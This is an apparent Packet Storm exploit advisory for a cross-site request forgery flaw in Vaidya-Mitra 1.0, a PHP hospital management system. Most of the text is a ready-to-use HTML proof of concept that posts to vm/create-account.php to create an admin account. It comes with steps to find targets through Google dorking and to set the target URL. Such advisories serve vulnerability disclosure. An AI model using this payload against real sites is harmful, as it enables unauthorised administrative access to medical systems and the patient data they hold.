Vaidya-Mitra 1.0 Cross Site Request Forgery

🗓️ 20 Sep 2024 00:00:00Reported by indoushkaType

packetstorm🔗 packetstormsecurity.com👁 305 Views

Vaidya-Mitra 1.0 CSRF Vulnerability on create-account.ph

`=============================================================================================================================================  
| # Title : Vaidya-Mitra v 1.0 CSRF Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits) |  
| # Vendor : https://www.sourcecodester.com/php/16720/free-hospital-management-system-small-practices.html |  
=============================================================================================================================================  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] The following HTML code add new admin.  
  
[+] Go to the line 9. Set the target site link Save changes and apply .   
  
[+] infected file : vm/create-account.php.  
  
[+] save code as poc.html   
  
[+] payload :   
  
<!DOCTYPE html>  
<html lang="en">  
<head>  
<meta charset="UTF-8">  
<meta name="viewport" content="width=device-width, initial-scale=1.0">  
<title>Create Account</title>  
</head>  
<body>  
<form action="http://127.0.0.1/vm/create-account.php" method="POST">  
<label for="newemail">Email:</label>  
<input type="email" id="newemail" name="newemail" required>  
<br>  
  
<label for="tele">Telephone:</label>  
<input type="text" id="tele" name="tele" required>  
<br>  
  
<label for="newpassword">Password:</label>  
<input type="password" id="newpassword" name="newpassword" required>  
<br>  
  
<label for="cpassword">Confirm Password:</label>  
<input type="password" id="cpassword" name="cpassword" required>  
<br>  
  
<button type="submit">Create Account</button>  
</form>  
</body>  
</html>  
  
  
Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================  
`

20 Sep 2024 00:00Current

7.4High risk

Vulners AI Score7.4